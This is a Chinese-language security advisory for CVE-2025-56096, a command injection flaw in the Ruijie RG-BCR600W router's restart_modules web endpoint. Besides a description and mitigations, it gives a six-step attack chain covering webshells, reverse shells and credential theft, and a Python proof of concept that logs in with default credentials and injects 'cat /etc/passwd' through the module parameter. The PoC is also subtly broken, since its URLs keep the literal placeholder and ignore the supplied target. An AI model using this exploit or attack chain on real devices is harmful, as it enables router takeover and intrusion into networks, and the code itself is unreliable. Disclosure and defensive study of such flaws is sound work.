IPBUF安全漏洞报告
English
CVE-2025-56096 CVSS 8.8 高危

CVE-2025-56096: 锐捷RG-BCR600W路由器OS命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56096
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie RG-BCR RG-BCR600W

相关标签

CVE-2025-56096OS命令注入锐捷RG-BCR600W路由器漏洞嵌入式设备高危漏洞远程代码执行Web漏洞

漏洞概述

CVE-2025-56096是锐捷网络(Ruijie Networks)旗下RG-BCR系列路由器中发现的严重安全漏洞。该漏洞存在于RG-BCR600W设备的Web管理界面中,位于文件/usr/lib/lua/luci/controller/admin/common.lua的restart_modules功能点。攻击者可通过构造恶意的POST请求,在未经充分验证的情况下将用户输入传递给系统命令执行函数,从而实现任意操作系统命令的注入。由于该设备通常部署于企业网络边缘位置,漏洞被利用可能导致攻击者完全接管路由器设备,进而对内部网络进行进一步渗透、窃取敏感数据或植入后门程序。此漏洞的CVSS评分高达8.8,属于高危级别,对使用该设备的组织构成严重安全威胁。建议受影响用户立即采取防护措施并关注厂商官方安全公告。

技术细节

该漏洞的根本原因在于Web应用层对用户输入缺乏有效的安全过滤机制。在luci控制器文件中,restart_modules函数直接接收HTTP POST请求中的参数,并将其拼接至系统命令字符串中执行。攻击者可以在POST请求的特定参数中注入分号、管道符或反引号等命令分隔符,后跟恶意系统命令。由于设备采用Linux嵌入式操作系统,注入的命令将以root权限执行。攻击者通常利用此漏洞首先获取设备的shell访问权限,然后可以修改防火墙规则、植入持久化后门、导出设备配置文件(可能包含其他系统的凭证)或建立反向shell连接。由于该管理接口通常暴露于网络边界,攻击者无需认证即可触发漏洞(需低权限认证PR:L),但实际利用中可能存在认证绕过或利用已获取的低权限账户场景。

攻击链分析

STEP 1
1
扫描目标网络,发现暴露在互联网或内网的锐捷RG-BCR600W设备管理接口
STEP 2
2
尝试获取设备访问凭证(使用默认口令或社工手段),建立有效会话
STEP 3
3
构造包含恶意OS命令的POST请求,注入点为restart_modules功能的module参数
STEP 4
4
发送精心设计的请求,触发命令注入,执行whoami或cat /etc/passwd等命令验证漏洞
STEP 5
5
建立持久化访问:植入webshell、上传恶意二进制文件或配置反向shell连接
STEP 6
6
导出设备配置获取网络拓扑和认证凭证,进一步横向移动至内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-56096 PoC - Ruijie RG-BCR600W OS Command Injection # Target: /usr/lib/lua/luci/controller/admin/common.lua - restart_modules endpoint import requests import sys TARGET = "http://{target_ip}" # Replace with target device IP LOGIN_URL = f"{TARGET}/cgi-bin/luci/api/login" EXPLOIT_URL = f"{TARGET}/cgi-bin/luci/admin/common/restart_modules" def login(): """Authenticate with the device using valid credentials""" login_data = { "username": "admin", # Default or valid credentials "password": "password" } session = requests.Session() response = session.post(LOGIN_URL, data=login_data, timeout=10) return session if response.status_code == 200 else None def exploit(session): """Execute OS command injection payload""" # Payload: Inject command to create reverse shell or exfiltrate data payload = { "module": "test; cat /etc/passwd > /tmp/out.txt", # Command injection "action": "restart" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{TARGET}/cgi-bin/luci/admin" } response = session.post(EXPLOIT_URL, data=payload, headers=headers, timeout=10) return response.text if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" session = login() if session: print("[*] Login successful, sending exploit payload...") result = exploit(session) print(f"[*] Response: {result}") else: print("[!] Authentication failed")

影响范围

Ruijie RG-BCR600W (固件版本未知,需查阅官方公告)

防御指南

临时缓解措施
在厂商发布正式补丁前,建议采取以下临时缓解措施:首先,通过网络访问控制列表(ACL)限制管理接口仅允许可信IP地址访问;其次,禁用不必要的远程管理功能,优先使用本地Console口进行管理;最后,部署网络入侵检测系统(NIDS)监控针对该接口的可疑POST请求特征,及时发现和阻断攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表